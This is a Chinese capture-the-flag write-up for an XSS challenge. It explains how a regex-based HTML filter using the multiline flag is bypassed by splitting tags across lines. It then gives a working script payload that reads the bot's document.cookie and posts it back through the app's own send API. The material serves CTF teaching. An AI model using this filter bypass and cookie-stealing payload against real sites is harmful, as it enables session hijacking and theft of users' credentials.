Skip to content

PangBai 过家家(5)

本题已开源,关于题目源码和 EXP,详见:cnily03-hive/PangBai-XSS

这是一题 XSS 题。XSS 题目的典型就是有一个 Bot,flag 通常就在这个 Bot 的 Cookie 里面。

XSS 的全称是跨站脚本攻击,存在这种攻击方式的原因是,用户访问到的网页内容并不是服务端期望的那样,可能存在恶意的代码。例如,你点击一个网页链接,但是它却执行了攻击者的前端 JavaScript 代码,将你的登录凭据、隐私信息发送给攻击者。在 XSS 题中,Bot 就承担这个受害者用户。

题目有一个发件的路由,还有一个查看信件的路由,以及一个「提醒 PangBai」的按钮,这个按钮实际就是让 Bot 访问查看当前信件的路由。

我们要做的就是找到一处能够展示我们的输入的地方,想办法使内容展示之后,浏览器能够执行我们恶意的 JavaScript 代码。这样,如果让 Bot 去访问这个 URL,恶意代码就会在 Bot 的浏览器执行,我们的恶意代码可以执行获取 Cookie 等操作。

bot.ts 可见,FLAG 在 Cookie 中:

typescript
await page.setCookie({
  name: "FLAG",
  value: process.env["FLAG"] || "flag{test_flag}",
  httpOnly: false,
  path: "/",
  domain: "localhost:3000",
  sameSite: "Strict",
});

我们直接输入 <script>alert(1)</script> 做测试,访问查看信件的界面,查看源码,发现输入被过滤了。

跟踪附件中的后端源码,page.ts 中的 /box/:id 路由,会渲染我们的输入:

typescript
router.get("/box/:id", async (ctx, next) => {
  const letter = Memory.get(ctx.params["id"]);
  await ctx.render("letter", <TmplProps>{
    page_title: "PangBai 过家家 (5)",
    sub_title: "查看信件",
    id: ctx.params["id"],
    hint_text: HINT_LETTERS[Math.floor(Math.random() * HINT_LETTERS.length)],
    data: letter
      ? {
          title: safe_html(letter.title),
          content: safe_html(letter.content),
        }
      : { title: TITLE_EMPTY, content: CONTENT_EMPTY },
    error: letter ? null : "找不到该信件",
  });
});

但是输入的内容都经过了 safe_html 过滤

typescript
function safe_html(str: string) {
  return str
    .replace(/<.*>/gim, "")
    .replace(/<\.*>/gim, "")
    .replace(/<.*>.*<\/.*>/gim, "");
}

可见这只是一个正则替换,正则中各个标志的作用:

  • i 标志:忽略大小写
  • g 标志:全局匹配,找到所有符合条件的内容
  • m 标志:多行匹配,每次匹配时按行进行匹配,而不是对整个字符串进行匹配(与之对应的是 s 标志,表示单行模式,将换行符看作字符串中的普通字符)

由于 m 的存在,匹配开始为行首,匹配结束为行尾,因此我们只需要把 <> 放在不同行即可,例如:

javascript
<script>alert(1)</script>

此时我们就能执行恶意代码了。直接使用 document.cookie 即可获取到 Bot 的 Cookie。 拿到 Cookie 之后,怎么回显呢?如果题目靶机是出网的,可以发送到自己的服务器上面;但是题目靶机并不出网,这时可以写一个 JavaScript 代码,模拟用户操作,将 Cookie 作为一个信件的内容提交(让 Bot 写信),这样我们就能查看到了。例如:

javascript
<script
>
fetch('/api/send', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({'title': "Cookie", 'content': document.cookie})
})
</script
>

注意

fetch 中的请求路径可以是相对路径、绝对路径等,因此上面忽略了 Origin,如果显示指定,必须和当前的 Origin 一样,否则存在跨域问题。从 bot.ts 中可以看到 Bot 访问的是 http://localhost:3000,因此使用 http://127.0.0.1:3000 是不行的。

把 Payload 提交之后,如果手动查看信件并点击「提醒 PangBai」,会触发两次 Payload,一次是你自己查看信件时触发的,一次是 Bot 触发的。

提交并「提醒 PangBai」之后,稍等一会,查看信箱,就可以看到内容了。

查看 flag_1

查看 flag_2